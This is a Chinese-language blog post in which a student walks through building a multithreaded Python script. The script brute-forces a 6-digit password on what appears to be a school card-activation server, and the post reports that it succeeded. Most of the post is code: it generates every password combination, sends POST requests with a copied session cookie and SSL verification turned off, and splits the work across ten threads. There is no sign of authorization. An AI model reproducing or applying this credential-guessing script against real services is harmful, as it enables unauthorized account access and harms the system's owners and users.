持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第3天,点击查看活动详情
前言
在第二天晚上的时候成功抓到了对服务器发送的请求数据,接下来的思路就是写一个python脚本去向服务器不间断的发送请求,将密码试出来.
脚本思路
首先这个脚本需要生成6位数的所有可能的密码,将这些密码全部通过post请求发送到服务器去试一遍,直到服务返回信息告诉我们密码正确再停止循环.
所以我们在脚本里写三个函数,一个api_login_post发送请求,一个creatpassword1去生成密码,一个job去调用这两个函数.
生成密码
初始思路是写六个for循环镶套去实现生成密码后直接转成str类型然后传给api_login_post函数去发送请求.
for i1 in range(0, 10):
for i2 in range(0, 10):
for i3 in range(0, 10):
for i4 in range(0, 10):
for i5 in range(0, 10):
for i6 in range(0, 10):
str1=(str(i1) + str(i2) + str(i3) + str(i4) + str(i5) + str(i6) + "\n")
但是在正式运行程序时发现服务器除了对id进行验证以外,还会对session进行验证
以前也写过爬虫去爬笔趣阁玩,但都没有深入了解过爬虫,所以也不知道session到底是什么,搜集资料又是过了好久,对session有了个粗略的了解,知道这个东西是为了保持回话的连续性储存在服务器上的信息.因为我太菜了,没有什么好的办法去获取session所以只能从抓到的包里边手动将信息复制到代码里,然后去跑,这样就导致,每过一段时间session刷新发送的请求都会得到以下提示:
{'code_': 999, 'result_': False, 'message_': '未知原因,请检查开放平台权限和资源路径'}
这时候更新程序后再跑还会重新循环,所以这种生成密码的方式行不通,于是我又想到如果将生成的密码存到txt文件里,每次发送请求时去取数据,然后session更新时去更新txt,这样就可以解决之前的问题.
创建储存密码的文本
def creatpassword1():
with open("password1.txt", "a+") as i:
for i1 in range(0, 10):
for i2 in range(0, 10):
for i3 in range(0, 10):
for i4 in range(0, 10):
for i5 in range(0, 10):
for i6 in range(0, 10):
i.write(str(i1) + str(i2) + str(i3) + str(i4) + str(i5) + str(i6) + "\n")
读取密码
刚开始写这个函数的时候不知为什么死活读不出来数据,后来发现是指针的原因,可能是刚开始生成密码时将指针指向了txt的末尾,所以接下来读的时候就找不到下边的数据,因此只需将指针偏转到文档头部即可.
def readpassword1():#读密码
m=open("password1.txt", mode="a+",encoding='utf-8')
m.seek(0, os.SEEK_SET)# 将指针偏移到文档头部.
list1=m.read().split('\n')
m.close()
pas=list1.pop(0)#首行元素
str1 = ''
for i in list1:
str1 += str(i) + "\n"
m = open("password1.txt", mode="w+", encoding='utf-8')
m.write(str1)
m.close()
return pas
注:
os.SEEK_SET 定位到文件开头位置 os.SEEK_CUR 定位到文件指针当前位置 os.SEEK_END 定位到文件结束位置
发送请求
def api_login_post(password):
url="...................."
# headers定义
Cookies="SESSION=...................."
headers = {"Content-Type":"....................","Cookie":Cookies}
params={"password":password, "deviceid":"....................","gotowhere":"vcard_activate"}
# 调用post并返回响应对象
return requests.post(url,params=params,verify=False,headers=headers)
其中可能会出现 'SSL routines', 'ssl3_get_server_certificate', 'certificate verify failed'报错信息,大致是因为:请求异常,连接超过最大连接次数,最后是因为证书认证失败。 只需要给requests.post()传入 verify=False 避免ssl认证即可。
job函数
第一版的job函数是将前几个函数进行调度的函数,该函数会循环调度readpassword1()函数和api_login_post()函数,来达到循环像接口发送请求的目的.但通过计算发现这样跑起来太慢了,重复的对文本的读写和对字符的操作大大的提升了时间复杂度.所有重整思路后对读取密码这个模块进行了优化.优化思路为下:在循环外部将密码取出存在列表里,然后每次用时去除一个,当session信息更新,报错的时候更新密码表,并停止运行.
m = open("passwordjob_"+str(txt_num)+".txt", mode="a+", encoding='utf-8')
m.seek(0, os.SEEK_SET) # 将指针偏移到文档头部.
list1 = m.read().split('\n')
m.close()
flag=True
while flag:
password = list1.pop(0)
if result["message_"] != "密码错误":
print("出现异常", "第" + str(num) + "尝试:" + str(password))
pass_txt.close()
#更新密码文档
str1 = ''
for i in list1:
str1 += str(i) + "\n"
m = open("passwordjob_"+str(txt_num)+".txt", encoding='utf-8',mode="w+")
m.write(str1)
m.close()
flag = False
然后当我开始跑程序的时候发现,这样还是太慢,取需要跑将近100个小时才能跑出来,于是整理思路后对程序进行了又一次的优化.
思路是既然单个线程这么慢,我就采取多线程操作的方式去跑,将密码文件拆分为十份,分别为固定0,1,2,3...开头的密码,再创建十个线程,去跑刚才拆分完成的密码,这样就能提升效率.
说干就干,第一步将密码文件拆分为十份,也就是重新生成十份密码表.
def creatpassword1():
for i1 in range(0, 10):
with open("passwordjob_"+str(i1)+".txt", "a+") as i:
for i2 in range(0, 10):
for i3 in range(0, 10):
for i4 in range(0, 10):
for i5 in range(0, 10):
for i6 in range(0, 10):
i.write(str(i1) + str(i2) + str(i3) + str(i4) + str(i5) + str(i6) + "\n")
接着就是对之前的job函数进行一定的改造,使该函数能通过不同的参数,来读取不同的密码表.
def job_session(txt_num):#以session对象的方式登录
num=0;
flag=True
# 获取密码列表list
m = open("passwordjob_"+str(txt_num)+".txt", mode="a+", encoding='utf-8')
m.seek(0, os.SEEK_SET) # 将指针偏移到文档头部.
list1 = m.read().split('\n')
m.close()
pass_txt=open("ans_"+str(txt_num)+".txt", "a+")
#创建session对象
s = requests.Session()
s.headers.update({"Content-Type": "........",
"Cookie": "SESSION=................"})
while flag:
password = list1.pop(0)
try:
# result = api_login_post(password).json()
params = {"password": password, "deviceid": "........",
"gotowhere": "vcard_activate"}
result = s.post('........', headers={'x-test2': 'true'},params=params,verify=False,).json()
# print(result)
num+=1
if num%5000==0:
keeptouch()
pass_txt.write("第" + str(num) + "尝试:" + str(password))
pass_txt.write(str(result) + "\n")
for i in result:
if result[i] == True:
print(result[i], "密码为:" + password)
pass_txt.close()
flag = False
if result["message_"] != "密码错误":
print("出现异常", "第" + str(num) + "尝试:" + str(password))
pass_txt.close()
#更新密码文档
str1 = ''
for i in list1:
str1 += str(i) + "\n"
m = open("passwordjob_"+str(txt_num)+".txt", encoding='utf-8',mode="w+")
m.write(str1)
m.close()
flag = False
except Exception as err:
str1 = ''
for i in list1:
str1 += str(i) + "\n"
m = open("passwordjob_" + str(txt_num) + ".txt", encoding='utf-8',mode="w+")
m.write(str1)
m.close()
print("出现异常:" + err)
接着就是创建多个线程并运行了.
def job():
thread0 = threading.Thread(name='t1', target=job_session, args=(0,))
thread1 = threading.Thread(name='t2', target=job_session, args=(1,))
thread2 = threading.Thread(name='t3', target=job_session, args=(2,))
thread3 = threading.Thread(name='t4', target=job_session, args=(3,))
thread4 = threading.Thread(name='t5', target=job_session, args=(4,))
thread5 = threading.Thread(name='t6', target=job_session, args=(5,))
thread6 = threading.Thread(name='t7', target=job_session, args=(6,))
thread7 = threading.Thread(name='t8', target=job_session, args=(7,))
thread8 = threading.Thread(name='t9', target=job_session, args=(8,))
thread9 = threading.Thread(name='t10', target=job_session, args=(9,))
# 启动线程
thread0.start()
thread1.start()
thread2.start()
thread3.start()
thread4.start()
thread5.start()
thread6.start()
thread7.start()
thread8.start()
thread9.start()
job()
注:target为线程工作的函数,args为给函数传递的参数,当要传递的参数为整形时因该参数是不可迭代对象,需要将该参数改为可迭代对象类型,例如文中所示的元组类型.
成功之后:
终于,在国庆节的第八天,也就是放完假后的第一天清晨,成功的将密码跑了出来,当时是真高兴啊,这几天瞎搞一通竟然真的弄出来,放假前学校通知的常态化管理,以后能经常出校了,再也不用偷偷摸摸的溜出去了.
然而!! 就在刚刚四点的时候,导员钉钉在线会议通知我们常态化管理取消,继续封校,禁止外出!!!!! 又想起了最近七天朋友们的国庆朋友圈各种吃喝玩乐,而我自己蜗居寝室敲代码,就这样吧,不想玩了,随便了,毁灭吧.